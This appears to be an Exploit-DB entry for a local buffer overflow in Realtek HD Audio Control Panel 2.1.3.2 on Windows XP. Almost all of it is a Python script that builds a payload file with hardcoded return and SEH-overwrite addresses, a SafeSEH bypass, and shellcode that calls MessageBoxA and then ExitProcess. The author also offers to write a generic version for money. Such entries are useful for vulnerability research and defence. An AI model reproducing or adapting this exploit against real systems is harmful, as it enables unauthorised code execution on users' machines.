Realtek HD Audio Control Panel 2.1.3.2 - Local Buffer Overflow

EDB-ID:

15541

CVE:

N/A


Author:

BraniX

Type:

local


Platform:

Windows

Date:

2010-11-14


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# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition
# SafeSEH bypass

# App. has classic buffer overflow vulnerability
# it can be triggered by passing a too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need a generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^

filepath = "C:\\ShellCode\\RTHDCPL 2.1.3.2 - Exploit.bin"
f = open(filepath, "wb")

f.write('A'*4)
f.write('\x5E')                     # pop esi
f.write('\x5E')                     # pop esi
f.write('\xC3')                     # ret
f.write('\x90')                     # nop

f.write('[BraniX]')
f.write('A'*448)                    # mock

f.write('\xEB\x06')                 # jmp +6
f.write('\x90')                     # nop
f.write('\x90')                     # nop

f.write('\x70\x01\xA5\x01')         # pop; pop; ret; address

f.write('\x83\xC1\x0C')             # add ecx, 0Ch
f.write('\x88\x01')                 # mov byte ptr [ecx], al
f.write('\x83\xE9\x08')             # sub ecx, 08
f.write('\x50')                     # push eax
f.write('\x51')                     # push ecx
f.write('\x51')                     # push ecx
f.write('\x50')                     # push eax
f.write('\xE8\xC5\x08\x27\x7E')     # call user32.MessageBoxA

f.write('\x50')                     # push eax
f.write('\xE8\xE7\xCB\x6E\x7C')     # call kernel32.ExitProcess

f.write('\xCC'*1500)                # int 3's

f.close()

print "Done ..."